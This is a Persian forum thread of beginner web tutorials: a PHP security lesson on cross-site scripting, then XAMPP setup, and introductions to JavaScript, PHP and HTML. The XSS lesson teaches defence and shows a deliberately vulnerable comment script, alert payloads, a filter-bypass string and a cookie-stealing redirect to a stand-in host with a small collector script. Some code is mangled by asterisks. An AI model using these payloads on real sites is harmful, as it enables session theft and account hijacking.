آموزش برنامه نویسی وب از مبتدی تا پیشرفته

در این بخش میتوانید آموزش های مربوط به نیوک را مشاهده فرمائید.
SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

آموزش برنامه نویسی وب از مبتدی تا پیشرفته

پست توسط SINISTERMMP »

این آموزش ها با اجازه اقای جنت دوست (irteam_online) صورت می پزیرد.

جلسه اول-
امنیت در php

این مقاله ادامه دارد و به اموزش php ,اجاکس و جاوا اسکیریبت و انتقال کربران از سیستم های مدیرت محتوا و انجمن ها به نیوک فارسی 8.3 در نسخه های بعد میپردازد.
این مقاله فقط برای برنامه نویسان ماژول و بلوک برای نیوک تهیه کردم با همکاری یکی از دوستان خودم تهیه شده :

تزریق اسکریپتهای سمت کاربر (Cross Site Scripting)
در این گونه حملات مهاجم بر روی نقطه ضعف برنامه شما برای کار با ورودی های کاربر که می توانند یک کد HTML یا جاوااسکریپت باشند متمرکز می شود.

کد: انتخاب همه

<?PHP 
$filename="aa"; 
if (isset($HTTP_POST_VARS['comment']) 
and !empty($HTTP_POST_VARS ['comment']))** 
if (!$handle = fopen($filename, 'a')) ** 
echo "Cannot open aa file"; 
exit; 
} 


if (fwrite($handle, $_POST['comment']."\n") === FALSE) ** 
echo "Cannot write to file"; 
exit; 
} 
echo "Success"; 
fclose($handle); 
}
?> 
<form action="" method="POST"> 
<p> 
<textarea name="comment" cols="50"></textarea> 
</p> 
<p> 
<input type="submit" name="Submit2" value="Submit"> 
</p> 
</form> 
<?PHP 
$handle = @fopen($filename, "r"); 
$contents = @fread($handle, filesize($filename)); 
echo nl2br($contents); 
@fclose($handle); 
?>
</span>
ین برنامه یک ورودی از کاربر می گیرد و آن را برروی یک فایل ذخیره می کند.سپس محتویات فایل را که ورودیکاربران است را خوانده و بر روی صفحه نمایش میدهد.استفادهاز یک فایل برای ذخیره اطلاعات اینجا صرفا برای ساده ترکردن اسکریپت بوده تا برنامه نویسان سایر زبان ها همبتوانند بدون مشکل کد ها را متوجه شوند.فرق چندانی بین ایناسکریپت و اسکریپتی که از دیتابیس برای ذخیره اطلاعاتاستفاده میکند در موضوع مورد بحث نیست.
تا اینجای کار همه چیز عادیست . حال بیایید عبارت زیر را به برنامه بدهیم:

کد: انتخاب همه

<H1>This is the HTML code injection</H1>
همان گونه که مشاهده می کنید تگ H1 نیز بعنوان محتویات عبارت در فایل (یا دیتابیس) ذخیره شده است و در نمایش به علت این که مرورگر آن را تفسیر می کند در فرمت خروجی تاثیر گذار خواهد بود.به سورس خروجی برنامه نگاه کنید:

کد: انتخاب همه

Success, wrote
<form action="" method="POST">
<p>
<textarea name="comment" cols="50"></textarea>
</p>
<p>
<input type="submit" name="Submit2" value="Submit">
</p>
</form>
hi<br />
<H1>This is the first HTML injection</H1>
<
br />


</span>

بنابراین می توان تگ های HTML را در این برنامه وارد کرده و مرورگر را به تفسیر آن ها واداشت.این امر در مورد جاوا اسکریپت و امثالهم نیز صادق است.من عبارت زیر را به برنامه میدهم.

کد: انتخاب همه

<script>alert("This is injected **********!")</script>
و پس از ارسال آن برنامه چه چیزی نمایش میدهد؟!:
همان گونه که پیشتر اشاره کردم ایده کلی این گونه حملات استفاده از زبان های کلاینت ساید برای حمله به کاربران استفاده کننده از برنامه یا وب سایت است.
حال تصورش را بکنید که یک مهاجم چگونه می تواند از تگ هایی مثل IFRAME , OBJECT , FORM,SCRIPT ?و ... سواستفاده کند.

کد: انتخاب همه

<?PHP 
$filename="1"; 
$value=$ HTTP_POST_****IE["Test****ie"]+1; 
set****ie("Test****ie", $value, time()+3600);
if (isset($HTTP_POST_VARS ['comment']) 
and !empty($HTTP_POST_VARS ['comment']))** 
if (!$handle = fopen($filename, 'a')) ** 
echo "Cannot open file ($filename)"; 
exit; 
} 
if (fwrite($handle, $_POST['comment']."\n") === FALSE) ** 
echo "Cannot write to file ($filename)"; 
exit; 
} 
echo "Success, wrote"; 
fclose($handle); 
}
?> 
<form action="" method="POST"> 
<p> 
<textarea name="comment" cols="50"></textarea> 
</p> 
<p> 
<input type="submit" name="Submit2" value="Submit"> 
</p> 
</form> 
<?PHP 
$handle = @fopen($filename, "r"); 
$contents = @fread($handle, filesize($filename)); 
echo nl2br($contents); 
@fclose($handle); 
?>
این برنامه دقیقا ً مثل برنامه قبلی عمل می کند با این تفاوت که یک کوکی ست می کند و با هر بار بازدید کاربر به مقدار کوکی فوق یکی اضافه می نماید.توجه کنید بسیاری از سیستم های اعتبار سنجی برای اعتبار سنجی کاربران از کوکی استفاده می نمایند.بنابراین اطلاعات ذخیره شده در کوکی می تواند در صورت دزدیده شدن به یک مهاجم امکان جعل هویت به عنوان کاربر معتبر را بدهد.ما در ادامه مقاله سعی در دزدیدن مقدار کوکی ست شده توسط برنامه مثال بالا می نماییم.
با وارد کردن کد زیر می توان به کوکی ها و مقادیر آن ها دسترسی داشت.

کد: انتخاب همه

<script>alert(document.****ie)</script>
و با وارد کردن کد زیر مهاجم می تواند کوکی ها را بوسیله اسکریپتی که در وب سایت خود نوشته بدزدد!

کد: انتخاب همه

<script>document.location .replace('http://sample.com/steal****.php?****ie='+document.****ie);</script>
کد دزدیدن کوکی ها مثلا می تواند کد زیر باشد که مهاجم با قرار دادن آن در وب سایت خود و انتقال مرورگر به آن می تواند کوکی ها را در یک فایل یا دیتا بیس ذخیره کرده و از آن ها سو استفاده کند.

کد: انتخاب همه

<?PHP 
echo $_GET['****ie']; 

?>

ایجاد امنیت
ال که با شیوه حملات تزریق اسکریپت سمت کاربر که Cross Site Scripting یا به اختصار XSS نامیده می شوند آشنا شده اید وقت آن است که با مکانیزم های ایمن سازی برنامه در مقابل این گونه حملات نیز آشنا شئید.
راه حل شما برای مقابله با این گونه حملات ***** کردن ورودی های کاربران ، برای این گونه روش ها و اسکریپت ها می باشد.بعضی از برنامه نویسان برای حل این موضوع در صورتیکه ورودی کاربر دارای <? یا > باشد آن را کاملا غیر قابل قبول فرض کرده و به کاربر پیغامی مبنی بر عدم ورود این گونه کاراکنر ها میدهند.این شیوه به هیچ وجه مقبول نیست زیرا:
1- ممکن است کاربر به هر دلیل بخواهد از < یا > در نوشته خود استفاده کند
2- همان طور که در قسمت قبلی مقاله گفته شد الزاما مهاجم از < یا > در حملات خود استفاده نخواهد کرد.
3- بعضی دیگر در صورتی که کد حاوی کلمه ای خاص مثل script باشد آن کلمه را از درون متن حذف میکنند.
مثال:

کد: انتخاب همه

<?PHP 
$filename="1"; 
$comment=$_POST['comment']; 
$comment=str_ireplace ( "script", "", $comment); 
if (isset($comment) and !empty($comment))** 
if (!$handle = fopen($filename, 'a')) ** 
echo "Cannot open file ($filename)"; 
exit; 
} 
if (fwrite($handle, $comment."\n") === FALSE) ** 
echo "Cannot write to file ($filename)"; 
exit; } 
echo "Success, wrote"; 
fclose($handle); 
} 
?> 
<form action="" method="POST"> 
<p> 
<textarea name="comment" cols="50"></textarea> 
</p> 
<p> 
<input type="submit" name="Submit2" value="Submit"> 
</p> 
</form> 
<?PHP 
$handle = @fopen($filename, "r"); 
$contents = @fread($handle, filesize($filename)); 
echo nl2br($contents); 
@fclose($handle); 
?>


من در این برنامه عبارت زیر را وارد می کنم و نتیجه:

کد: انتخاب همه

<script>alert(document.****ie)</script>


روش فوق نیز آسیب پذبراست زیرا:
1- همان طور که در مقاله قبل گفته شد مهاجم می تواند از سایر تگ های HTML مثل <a> استفاده کند
2- در صورتیکه مهاجم چنین عبارتی را وارد کند قیلتر برنامه شما را دور زده است

کد: انتخاب همه

<scscriptript>alert(document.****ie)</scscriptript>

زیرا برنامه عبارت script را از داخل تگ ها حذف میکند و در نهایت چنین عبارتی پدید می آید:

کد: انتخاب همه

<script>alert(document.****ie)</script>
هترین راه نوشتن الگریتم شخصی برای مقابله با این گونه حملات می باشد.مزیت این کار این است که شما ی توانید مواردی مانند تزریق عبارات SQL (SQL Injection ) را نیز پوشش داده و ورودی های کاربران را برای تمامی حملاتی از این قبیل بررسی و ***** کنید.الگوریتم شما باید بتواند ورودی کاربران را همان گونه که وارد شده در صفحه نمایش دهد اما اجازه فعالیت به اسکریپت های فوق را ندهد مثلا > و < را در صفحه نمایش به $lt; و > تبذیل کند.

برنامه شما باید بتواند معادل هگزادسیمال عبارات فوق را نیز تشخیص داده و بر روی آن نیز *****یتگ انجام دهد.
اگوریتم برنامه خود را حتما ً قبل از انتشار تست و بررسی کنید و راه هایی را که ممکن است یک نفوذ گر از طریق آن ها ***** برنامه شما را دور بزند مسدود نمایید.
یک نمونه جالب برای بررسی چگونگی دادن اختیارات به کاربران همراه با در نظر گرفتن نکات امنیتی ?BBCODE هاییست که در فوروم هایی مانند PHPBB برای امکان دادن به کاربر برای درج عکس یا لینک در پست تعبیه شده است.به این ترتیب که مثلا ورود عبارت در صفحه نمایش به صورت تگ <a> نمایش داده می شود.در برنامه ای مانند PHPBB از طریق Regular expression این امر تحقق یافته است اما حتی در چنین برنامه ای نیز یه مهاجم خبره با خواندن دقیق کد می تواند مشکلات امنیتی را کشف نماید.برای مثال در تمامی نسخ PHPBB(تا 14) می توان یک لینک مخرب به پست اضافه کرد.
در صورتیکه از PHP استفاده می کنید تابع htmlspecialchars تابعی مناسب برای ***** کردن ورودی هاست.بررسی الگوریتم مورد استفاده در این تابع برنامه نویسان سایر زبان ها را نیز برای نوشتن الگوریتم ایمن سازی ورودی یاری خواهد کرد.
کد ما به این شکل می شود در اخر در خط 4 دقت کنید

کد: انتخاب همه

<?PHP 
$filename="1"; 
$comment=$_POST['comment']; 
$comment= htmlspecialchars($comment); 
if (isset($comment) and !empty($comment))** 
if (!$handle = fopen($filename, 'a')) ** 
echo "Cannot open file ($filename)"; 
exit; 
} 
if (fwrite($handle, $comment."\n") === FALSE) ** 
echo "Cannot write to file ($filename)"; 
exit; } 
echo "Success, wrote"; 
fclose($handle); 
} 
?> 
<form action="" method="POST"> 
<p> 
<textarea name="comment" cols="50"></textarea> 
</p> 
<p> 
<input type="submit" name="Submit2" value="Submit"> 
</p> 
</form> 
<?PHP 
$handle = @fopen($filename, "r"); 
$contents = @fread($handle, filesize($filename)); 
echo nl2br($contents); 
@fclose($handle); 
?>
</span>

یکی از نکاتی که متاسفانه بسیاری از برنامه نویسان به آن توجه نمی کنند اعتبار سنجی فرم ها در سمت کاربر بوسیله زبان هایی مثلا جاوااسکریپت است.یک مهاجم بسادگی میتواند صفحه را ذخیره کرده،اسکریپت اعتبار سنجی را حذف کند و متد action ?فرم را دستکاری و مقادیر فرم را ارسال کند.راه بسیار ساده تر استفاده از ****** هایی مثا Achilles است.بدین ترتیب که مقادیر قبل از ارسال از سیستم کاربر به خارج توسط این گونه نرم افزار ها بین راه دریافت شده و مهاجم بسادگی می واند آن ها را ویرایش کند.در مبحث حمله به کوکی ها یک نمونه از این عمل را نمایش خواهیم داد.
در مجموع فراموش نکنید که امنیت در تمامی زمینه ها به خلاقیت و آگاهی شما بستگی دارد.شما برای ایمن سازی نیازمندید که محیط کار خود را به خوبی بشناسید.بهترین متخصصان امنیتی دنیا هم هیچ وقت نمی تواندد امنیت سیستمی را صد در صد تضمین کنند.تنها کاری که یک مشاور امنیتی می کند پایین آوردن درصد ریسک است و لا غیر.

با تشکر

در ضمن این آموزش ها با اجازه اقای جنت دوست (irteam_online) صورت می پزیرد
آخرین ويرايش توسط 4 on SINISTERMMP, ويرايش شده در 0.


SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

آموزش نصب xampp

پست توسط SINISTERMMP »

همونطوری که میدانید برای شروع کار با php نیاز به نصب مفسر اون داریم که ما پکیج Xampp رو برای کارمون انتخاب کردیم. مراحل نصب رو باید به صورت زیر دنبال کنیم:
در اولین مرحله خوش آمدگویی داریم پس Next رو کلیک می کنیم
1.jpg
1.jpg (32.49 کیلو بایت) مشاهده 1668 مرتبه
مسیر نصب رو مشخص کنید
2.jpg
2.jpg (29.82 کیلو بایت) مشاهده 1668 مرتبه
در صورتی که میخواهید Apache و MySQL به عنوان سرویس های ویندوز نصب بشند گزینه های Install Apache as Service و Install MySQL as Service رو تیک بزنید! انتخاب این گزینه ها اختیاریه. تنها نکته ای که هست اینه که در صورتیکه IIS رو سیستم تون نصبه و Apache رو نصب کنید باید حتما پورت IIS یا Apache رو تغییر بدید وگرنه Apache پیغام خطای Port Busy بهتون میده! بعد روش تغییر پروت IIS و Apache رو میبینیم. خوب تا اینجا کار تقریبا تمومه فقط باید دکمه Install رو بزنید
3.jpg
3.jpg (29.28 کیلو بایت) مشاهده 1668 مرتبه
حالا اگه به مشکل خاصی نخورده باشید کار نصب تموم شده!

اینم کنترل پنل Xampp هستش که با اون میتونید Apache و MySQL رو Start یا Stop کنید! یادتون باشه اگر تیک Install as Service رو نزده باشید باید هر بار که می خواهید روی وب سایتتون کار کنید Apache و MySQL فعال باشند یعنی باید دکمه Start کنارشون رو کلیک کنید (Runningرو کنار Apache و MySQL نمایش بده)
controlPanel.jpg
controlPanel.jpg (35.18 کیلو بایت) مشاهده 1668 مرتبه
حالا مرورگرتون را باز کنید و در آدرس بار مرورگر تایپ کنید localhost یا 127.0.0.1 هر کدومشو رو که بنویسید فرقی نمی کنه! اگر همه چیز خوب پیش رفته باشه باید صفحه زیر رو ببینید که باید تویه این صفحه زبان صفحات Xampp رو انتخاب کنید پس روی English کلیک کنید!
splash.jpg
splash.jpg (15.45 کیلو بایت) مشاهده 1668 مرتبه
حالا باید صفحه زیر براتون نمایش داده بشه! اگه این صفحه نمایش داده شد یعنی همه چی خوب پیش رفته اگه که نه تو بخش انجمن ها مطرح کنید تا بهتون کمک کنیم مشکل حل شه!
تصویر

برای دانلود برنامه xampp از لینک های زیر اقدام کنید
xampp برای ویندوز
مشخصات

کد: انتخاب همه

Apache 2.2.17
MySQL 5.5.8
PHP 5.3.5
phpMyAdmin 3.3.9
FileZilla FTP Server 0.9.37
Tomcat 7.0.3 (with mod_proxy_ajp as connector)
لینک دانلود

کد: انتخاب همه

http://www.apachefriends.org/en/xampp-windows.html
xampp برای لینوکس
لینک دانلود

کد: انتخاب همه

http://www.apachefriends.org/en/xampp-linux.html
XAMPP for Mac OS X
لینک دانلود

کد: انتخاب همه

http://www.apachefriends.org/en/xampp-macosx.html
آخرین ويرايش توسط 2 on SINISTERMMP, ويرايش شده در 0.
SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

مقدمه ای برای جاوا اسکیریبت

پست توسط SINISTERMMP »

اقا ببخشید یکم دارم سریع اینجا پست میدم اخه ممکنه برام کار پیش بیاد یک چند روزی نباش برای همین دارم این مطالبی که برای کتاب نیوک جمع اوری کرده بودم رو بعضی هاشو اینجا یک خلاصه ای میزارم و برای اموزش کامل تر باید کتاب اموزش نیوک رو بخرید که فکر کنم یک ماه دیگر انتشار پیدا میکنهتصویر

مقدمه ای بر جاوا اسکریپت

جاوا اسکریپت در میلیونها صفحه وب جهت بهبود طراحی ، اعتبار سنجی فرم ها ، نمایش اطلاعات مرورگر ، ایجاد کوکی ها و چیزهای زیاد دیگری مورد استفاده قرار میگیرد.
جاوا اسکریپت به عنوان عمومی ترین زبان اسکریپت در اینترنت استفاده می شود و در همه ی موتورهای جستجوی بزرگ مثل اینترنت اکسپلورر ، فایر فاکس و اپرا کار می کند .

برای شروع یادگیری javascript چه چیزهایی را باید بدانیم؟

توانایی های پایه ای که شما برای درک جاوا اسکریپت باید بلد باشید HTML و XHTML می باشد که به راحتی قابل یاد گیری است.

جاوا اسکریپت چیست؟

- جاوا اسکریپت برای فعالیتهای محاوره ای با HTML طراحی شده است.
- یک زبان اسکریپتی می باشد.
- یک زبان کم وزن و سبک و کم حجم در زبانهای برنامه نویسی محسوب می شود.
- معمولا مستقیما در صفحات HTML قرار میگیرد.
- جاوااسکریپت یک زبان مفسر است (یعنی نیاز به کامپایل اولیه برای اجرا ندارد).
- هر کسی حتی بدون خرید پروانه و جوازش می تواند از جاوا اسکریپت استفاده کند.

آیا جاوا اسکریپت و جاوا یکی اند؟
نه!!!!
جاوا اسکریپت و جاوا java از دو بعد مفهوم و طراحی دو زبان کاملا متفاوت هستند.
جاوا java ( که توسط شرکت sun توسعه یافته است ) فوی و بسیار پیچیده تر از جاوا اسکریپت است و در دسته بندی زبان هایی مانند C/C++ قرار میگیرد.

چه کارهایی را جاوا اسکریپت می تواند انجام بدهد؟

- جاوا اسکریپت به طراحان HTML یک ابزار برنامه نویسی می دهد . طراحانHTML برنامه نویس نیستند ؛ اما جاوا اسکریپت یک زبان اسکریپت با دستورالعملهای خیلی ساده است ؛ به طوری که هرکس میتواند قسمت کوچکی از کدها را بر روی صفحه ی HTML خودش قرار بدهد
- جاوا اسکریپت می تواند صفحات متحرک و پویا را داخل HTML قرار بدهد.
یک دستور جاوا اسکریپت مانند:

کد: انتخاب همه

Document.write("<h1> + name + "</h1>")
می تواند یک متن متغیر را داخل صفحه ی HTML بنویسد.
- جاوا اسکریپت می تواند به رخدادهای صفحه – event –و اکنش نشان بدهد . یعنی وقتی که اتفاقی می افتد اجرا می شود مثلا وقتی صفحه ای لودش تمام می شود ، وقتی که کاربر کلیک می کند.
- جاوا اسکریپت می تواند عناصر HTML را بخواند و بنویسد . می تواند بخواند و یا محتویات عناصر HTML را تغییر بدهد.
- جاوا اسکریپت می تواند برای تصدیق و معتبر ساختن اطلاعات استفاده شود . می تواند برای معتبر ساختن اطلاعات فرم قبل از اینکه به سرور ارسال شود استفاده شود . چنین فرم هایی جلوی پردازش های اضافی توسط سرور را می گیرند.
- جاوا اسکریپت می تواند برای کشف نوع مرورگر بازدیدکنندگان مورد استفاده قرار بگیرد. در این صورت چناچه برای مرورگرهای متفاوت صفحات متفاوتی طراحی کرده اید میتواند صفحه ی سازگار با نوع مرورگر کاربر را لود کند.
- جاوا اسکریپت می تواند برای ایجاد کوکی ها استفاده شود . چاوا اسکریپت می تواند برای استفاده هایی مثل ذخیره و بازیابی اطلاعات در کامپیوتر های بازدید کننده استفاده شود.
اسم واقعی اش ECMAScript است!!!!
- اسم رسمی جاوا اسکریپت ECMAScript است . استاندارد سازی و توسعه و نگه داری آن توسط سازمان ECMA انجام میگیرد.
- ECMA_262 استاندارد رسمی جاوا اسکریپت است . این استاندارد بر اساس Javascript (Nets cape) و Jscript ( Microsoft ) بیان شده است .
- این زبان توسط براندان ایچ در Nets cape(با Navigator 20) ابداع شده و در همه ی موتورهای جستجوی Netscape و Microsoft از سال 1996 ظاهر شده است.
- توسعه ی استاندارد ECMA_262 از سال 1996 و اولین ویرایش آن در جون 1997 توسط مجمع عمومیECMA پذیرفته شد.
- استاندارد به عنوان یک استاندارد ISO جهانی در سال 1998 شناخته شد.
- توسعه استاندارد هنوز هم در حال پیشرفت است.

ادامه دارد....
آخرین ويرايش توسط 2 on SINISTERMMP, ويرايش شده در 0.
SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

آموزش PHP - مقدماتی

پست توسط SINISTERMMP »

پی اچ پی php یکی از قویترین زبان های برنامه نویسی وب برای طراحی صفحات پویا هستش که معمولا روی وب سرور Apache اجرا میشه! php مخفف PHP: Hypertext Preprocessor هست و کدهای اون قابلیت قرارگرفتن در میان کدهای html رو دارند که این یک ویژگی مهم به حساب میاد. زبان php بسیار شبیه زبان های C,Java و Perl هست. هدف php ایجاد صفحات پویا توسط برنامه نویسان در سریع ترین زمان ممکن بیان شد. این زبان تعداد زیادی از پایگاه های داده مثل MySQL ، Oracle و SQL Server رو پشتیبانی میکنه اما اغلب توسعه دهندگان تریجح میدند که از MySQL به عنوان بانک اطلاعاتی صفحاتشون استفاده کنند ( MySQL یک پایگاه داده مناسب برای بیشتر سیستم های کوچک و بزرگ هست که امکان استفاده از اون به صورت رایگان وجود داره). امروزه وب سایت های زیادی رو میتونید ببینید که با php طراحی شده اند.

حالا چرا php؟؟؟

دلایل استفاده از php رو در زیر ببینید:
1. مفسر php روی سیستم های مختلفی قابل اجراست مثل Linux یا Windows
2. رویه بیشتر سرورها قابل اجراست مثل Apache و IIS
3. دانلود و استفاده ازش مجانی هستش.
4.به راحتی قابل یادگیریه.

همانطوری که تویه قسمت قبل گفتم برای شروع کار و نوشتن اولین برنامه ، باید Apache و php رویه سیستمتون نصب باشند و برای این کار استفاده از پکیج Xampp رو پیشنهاد کردم!

برای اینکه برنامه ها و سایت های php مون رو اجرا شوند باید اونها رو حتما تویه مسیر C:\xampp\htdocs\xampp ذخیره کنیم.
یعنی اول باید وارد پوشه محلی که xampp نصبه بشیم مثلا c:\xampp بعد باید پوشه htdocs و بعد هم پوشه xampp رو باز کنیم!

پیشنهادها

اول: از این پوشه آخر یک میانبر رویه desktop بسازید تا بعد از این راحت تر بتونیم پیداش کنیم! - یعنی یک میانبر به مسیر C:\xampp\htdocs\xampp
دوم: تویه این پوشه برای هر وب سایت یا برنامه ای که می نویسید یک پوشه Folder ایجاد کنید که مدیریت فایل هاتون هم راحت تر بشه!

هر برنامه یا وب سایتی که با php نوشته میشه معمولا از یک یا تعدادی فایل با پسوند php تشکیل میشه برای مثال اسمش میتونه به شکل safehAvval.php یا مثلا index.php و ...

نوشتن اولین برنامه
تویه مسیری که گفتم یه پوشه به اسم myWebSite ایجاد کنید و بعد از این فایل ها و صفحاتی که برای تمرین یا مثال ها باهاشون کار میکنید رو تویه این پوشه - که مطمئنم تویه این مسیر ساختید - ذخیره کنید. یعنی باید به شکل روبرو باشه C:\xampp\htdocs\xampp\myWebSite
حالا تویه پوشه myWebSiteیک فایل به نام index.php ایجاد کنید!

چه جوری آخه!!؟؟

برنامه notepad++ یا notepad ویندوز رو اجرا کنید!
از منوی فایل گزینه New رو انتخاب کنید تا یه document جدید واستون بسازه داخلش دستورات زیر رو بنویسید: شماره خط ها رو پاک کنیدها

کد: انتخاب همه

<?php
  echo 'Hello World! I will learn php as soon as possible...';
?>

بعد اون رو تویه مسیر C:\xampp\htdocs\xampp\myWebSite به نام index.php ذخیره کنید! حالا مرورگرتون رو اجرا کنید - سعی کنید از فایر فوکس 5 یا کروم 12 استفاده کنید - و آدرس localhost/xampp/myWebSite یا localhost/xampp/myWebSite/index.php رو تایپ کنید - یادتون نره که باید Apache و MySQL رو از کنترل پانل Xampp استارت Start کرده باشید - حالا اگر همه چیز رو دقیق انجام داده باشید باید تویه مرورگر Hello World! I will learn php as soon as possible... نمایش داده بشه!

توجه کنید که دستورات php باید بین <? و php?> قرار بگیرن البته میتونید به جایه php?> از ?> تنها هم استفاده کنید اما بهتر اینه که از شکل اول php?> استفاده کنید.

گفتی که کدهای php میتونن بین کدهای html قرار بگیرن! چه جوری؟

تویه مثال آخر میتونید ببینید که چطور این کار انجام میشه! حواستون حتما هستش که هر جا از دستورات php استفاده کردم اونها رو بین <? و php?> قرار دادم!

کد: انتخاب همه

<html>
<head>
	  <title> <?php echo 'In Onvane Safeye Dovvome!!!'; ?> </title>
  </head>
   <body>
	 <?php echo 'Content of my <b><i>Second</i></b> Example...'; ?>
   </body>
</html>
دستورات بالا رو می تونید تویه یک فایل دیگه مثلا به نام example2.php ذخیره کنید! تویه قسمت های بعدی بیشتر با کدنویسی به زبان php آشنا میشیم!
آخرین ويرايش توسط 1 on SINISTERMMP, ويرايش شده در 0.
SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

آموزش html مقدماتی

پست توسط SINISTERMMP »

HTML مخفف Hyper Text Markup Language هستش ، اگه معنیشو نمیدونید معنیش میشه زبان نشانه گذاری فرا متنی!!!
زبان نشانه گذاری میگن چون ساختار دستوراتش بر اساس یکسری نشانه tag هست و فرامتنی میگن چون از متنی که تویه کاغذ نوشته میشه توانایی بیشتری داره...

HTML زبانیه که به مرورگر میگه که صفحات رو باید چطور نمایش بده! میشه گفت داره صفحات وب رو توصیف میکنه.

وقتی این همه برنامه برای ساخت صفحات وب هست چرا باید خودمو تو دردسر بندازم اچ تی ام ال یاد بگیرم!؟؟؟؟

اول اینکه html بسیار ساده هست و خیلی سریع میتونید اونو یاد بگیرید و بهش مسلط بشید و دوم اینکه وقتی که جلوتر بریم میبینیم که موقع نوشتن خیلی از برنامه های تحت وب مثلا با php نیاز دارید که با html هم آشنا باشید. یادتون باشه هرچی که قرار باشه کاربر ببینه باید رویه صفحه نمایش داده بشه!

مواد لازم:
هیچی! همون برنامه notepad تویه ویندوز کافیه! البته اگر برنامه notepad++ رو دانلود کنید میتونید تگ های html رو به صورت رنگی ببینید و امکانات بیشتری داشته باشید!
ولی من خودم Adobe Dreamweaver CS5 را پیشنهاد میکنماخه خیلی راحت و اسان هست و امکانات بالای دارد و در جلسه بعدی آموزش Adobe Dreamweaver CS5 را هم قرار میدهم

خوبه شروع کنیم دیگه! تویه notepad(++) یه سند جدید ایجاد کنید و توش کد زیر رو بنویسید:

کد: انتخاب همه

<html>
<head>
	<title>In Onvane Safhast</title>
</head>
<body>
	In Ham Matne Safheye Avvle!
	Vay Khoda Daram Html Yad Migiram....
</body>
</html>
حالا اونو با یه نام دلخواه ذخیره کنید مثلا من به نام sepidarsoft.html ذخیره کردمش! حالا باید نتیجه تلاشمون رو ببینیم فقط کافیه که روی فایلمون (منظورم sepidarsoft.html) دابل کلیک کنیم! اگر نتوستید صفحه رو باز کنید برید مرورگر رو باز کنید و از منوی File گزینه Open یا Open File رو انتخاب کنید و بعد هم فایلی که ایجاد کردید رو انتخاب و باز کنید! حالا اگر همه چی خوب پیش رفته باشه باید یه صفحه مثل این صفحه ببینید!

کدوم صفحه!!!

رو کلمه "این" بالایی کلیک کنید تا ببینیدش!

اگه تا اینجا رو با دقت خونده باشید به نکات زیر حتما رسیدید:

1. هر صفحه html از یک فایل متنی تشکیل میشه که با پسوند html یا htm ذخیره میشه!
2. دستورات html ساختاری به صورت <ستور/>......<دستور> دارن!
3. ساختار هر فایل html به صورت زیر هست که از دو قسمت اصلی تشکیل میشه: head که توش عنوان title و یکسری اطلاعات دیگه قرار میگیره و body که توش عناصر صفحه قرار میگیرن!

کد: انتخاب همه

<html>
    <head>
    </head>
    
    <body>
    </body>
</html>

4. دستورات html خودشون متن هستند و برای اجرا باید به کامپیوتر کاربر منتقل بشن. میتونید این موضوع رو امتحان کنید فقط کافیه تویه همین صفحه که هستند راست کلیک کنید و بعد گزینه View Source یا View Page Source رو انتخاب کنید. واسه همینه که میگن html یک زبان سمت کاربر هستش!
5. توانایی متون html از متون کاغذی خیلی بیشتره به عنوان مثال دیدید که با کلیک رویه کلمه میشه یه صفحه جدید باز کرد!


در اين قسمت ليست کامل تگ های HTML که در بخش آموزش HTML ، توضيحات مربوط به آنها ارائه شده است قرار داد . برای دريافت اطلاعات درباره هر کدام بر روی نام آن کليک کنيد :
نام تگ توضيح مختصر
< a > برای ايجاد يک لنگر به کار می رود .
< abbr > برای ايجاد يک مخفف برای يک عبارت بزرگتر به کار می رود .
< acronym > برای ايجاد يک مخفف برای يک عبارت بزرگتر به کار می رود .
< address > برای نوشتن يک آدرس در متن به کار می رود .
< area > مشخص کننده يک ناحيه در نقشه های تصويری است .
< b > برای توپر کردن نوشته ( Bold ) به کار می رود .
< base > برای تعيين خواص پايه در يک صفحه به کار می رود .
< bdo > قلم نوشته را به صورت نوشته های محيط های کدنويسی کامپيوتر در می آورد .
< big > باعث بزرگتر نمايش داده شدن نوشته در يک متن می شود .
< blockquote> برای ايجاد يک نقل قول به کار می رود .
< body > بدنه اصلی محتويات صفحه وب را تشکيل می دهد .
< br > برای ايجاد يک خط جديد به کار می رود .
< button > برای ايجاد دکمه های وب به کار می رود .
< caption > برای تعيين عنوان يک جدول به کار می رود .
< cite > باعث نمايش کج نوشته به کار می رود .
< code > برای نمايش متن همانند محيط های برنامه نويسی به کار می رود .
< col > برای دسته بندی گروهی از ستون های يک جدول به کار می رود .
< colgroup > برای دسته بندی گروهی از ستون های يک جدول به کار می رود .
< dd > برای ايجاد ليست های معنی به کار می رود .
< del > برای نمايش متن حذف شده درصفحه به کار می رود .
< div > برای تقسيم فضا در صفحات وب به کار می رود .
< dl > برای ايجاد ليست های معنی به کار می رود .
< dt > برای ايجاد ليست های معنی به کار می رود .
< em > برای نمايش نوشته به صورت کج به کار می رود .
< fieldset > برای ايجاد يک کادر به دور محتويات خود به کار می رود .
< form > برای ايجاد يک فرم در صفحه به کار می رود .
< h1 > تا < h6 > برای ايجاد انواع تيترها در نوشته به کار می رود .
< head > در برگيرنه اطلاعات کلی درباره سند وب است .
< hr > برای ايجاد يک خط در عرض صفحه به کار می رود .
< html > محدوده اصلی کد HTML يک صفحه را تعيين می کند .
< i > برای نمايش نوشته به صورت کج به کار می رود .
< img > برای قرار دادن تصوير در صفحه به کار می رود .
< input > برای ساختن انواع کتنرل های HTML به کار می رود .
< ins > برای مشخص کردن متن های جديد وارد شده در يک صفحه به کار می رود .
< kbd > برای نمايش متن همانند محيط های برنامه نويسی به کار می رود .
< label > برای ايجاد يک عنوان ( نماد متنی ) در صفحه به کار می رود .
< legend > برای ايجاد عنوان يک کادر fieldset به کار می رود .
